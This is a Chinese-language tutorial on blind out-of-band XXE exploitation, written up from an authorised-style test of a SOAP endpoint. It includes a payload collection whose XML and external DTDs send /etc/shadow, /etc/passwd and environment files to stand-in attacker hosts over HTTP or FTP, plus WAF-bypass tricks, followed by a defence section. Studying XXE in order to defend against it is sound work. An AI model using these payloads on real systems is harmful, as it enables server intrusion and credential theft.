记一次利用BLIND OOB XXE漏洞获取文件系统访问权限的测试
字数 1608 2025-08-18 11:37:12
BLIND OOB XXE漏洞利用深度解析与实战教学
1. XXE漏洞概述
XML外部实体注入(XXE)是一种安全漏洞,允许攻击者通过操纵应用程序的XML解析器来读取服务器上的任意文件、执行服务器端请求伪造(SSRF)攻击、扫描内部端口,甚至在某些情况下实现远程代码执行。
BLIND OOB (Out-of-Band) XXE是XXE攻击的一种变体,当目标应用程序解析XML但不直接返回结果时使用,通过外带数据通道提取信息。
2. 漏洞发现与初步分析
2.1 目标识别
- 对目标网站进行全面的服务资产识别和踩点
- 发现一个有趣的子域名网站
- 进行目录遍历,发现
/notifications服务端点
2.2 初步探测
- 使用BurpSuite捕获请求和响应
- 观察响应中包含XML内容和XML SOAP语法体
- 测试不同请求方法:
- 简单POST请求(无content-type):返回200状态码,XML SOAP语法体消失
- 带
content-type: application/xml的POST请求:返回不同XML响应,标签值变为"OK" - 带
content-type: application/json的POST请求:返回空响应
2.3 漏洞推断
根据响应模式,推断服务端能正常处理XML数据,可能存在XXE漏洞。
3. BLIND OOB XXE攻击实施
3.1 基本概念
BLIND OOB XXE攻击通过以下步骤实现:
- 攻击者控制的外部服务器托管恶意DTD文件
- 目标服务器解析包含外部实体引用的恶意XML
- 目标服务器尝试加载外部DTD
- 通过DNS或HTTP请求泄露数据
3.2 攻击实施步骤
- 在VPS上架设恶意DTD文件
- 构造包含外部实体引用的XML payload
- 发送恶意请求到目标
/notifications端点 - 观察VPS上的请求日志确认漏洞存在
3.3 进阶利用 - 文件系统访问
对于Java应用程序,可以使用俄罗斯OnSec实验室研究的特殊技术:
- 使用
xxe-ftp-server.rb脚本建立服务- 8088端口作为HTTP服务端获取OOB攻击payload
- 8077端口用于FTP连接服务
- 通过FTP协议读取系统目录和文件内容
4. 实用XXE Payload集锦
4.1 基础验证Payload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
4.2 OOB数据提取Payload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;%param1;
]>
<r>&exfil;</r>
外部DTD内容 (ev.xml):
<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>">
4.3 .NET环境优化Payload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml">
%sp;%param1;%exfil;
]>
4.4 Linux系统文件提取
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/shadow">
<!ENTITY % sp SYSTEM "http://EvilHost:port/sp.dtd">
%sp;%param3;%exfil;
]>
外部DTD内容 (sp.dtd):
<!ENTITY % param3 "<!ENTITY % exfil SYSTEM 'ftp://Evilhost:port/%data3;'>">
4.5 Java特定Payload
<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "file:///etc/passwd">
<!ENTITY % sp SYSTEM "http://x.x.x.x:8080/ss5.dtd">
%sp;%param3;%exfil;
]>
<r></r>
4.6 文件未找到异常利用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" >
%one; %two; %four;
]>
外部DTD内容:
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
4.7 FTP协议利用
<?xml version="1.0" ?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://x.x.x.x:4444/ext.dtd">
%asd;%c;
]>
<a>&rrr;</a>
外部DTD内容 (ext.dtd):
<!ENTITY % d SYSTEM "file:///proc/self/environ">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
4.8 SOAP环境Payload
<soap:Body>
<foo><![CDATA[<!DOCTYPE doc [
<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/">
%dtd;
]>
<xxx/>]]></foo>
</soap:Body>
4.9 WAF绕过技巧
非常规DOCTYPE声明:
<!DOCTYPE :. SYSTEM "http://">
<!DOCTYPE :_-_: SYSTEM "http://">
<!DOCTYPE {0xdfbf} SYSTEM "http://">
5. 防御措施
5.1 开发层面
- 禁用外部实体解析:
- PHP:
libxml_disable_entity_loader(true); - Java: 设置
DocumentBuilderFactory的setExpandEntityReferences(false) - Python: 使用
defusedxml替代标准库
- PHP:
- 使用白名单验证输入
- 尽可能使用JSON而非XML
5.2 运维层面
- 及时更新XML处理库
- 配置网络防火墙限制出站请求
- 实施最小权限原则,限制应用程序访问文件系统的权限
6. 总结
BLIND OOB XXE是一种危险的漏洞,允许攻击者在无直接反馈的情况下通过外带通道窃取敏感数据。本文详细介绍了从发现到利用的全过程,并提供了多种环境下的实用Payload。防御XXE需要开发者和运维人员的共同努力,通过禁用危险功能、严格输入验证和适当的网络配置来降低风险。
注意:本文仅用于技术研究和防御目的,未经授权对系统进行测试是违法行为。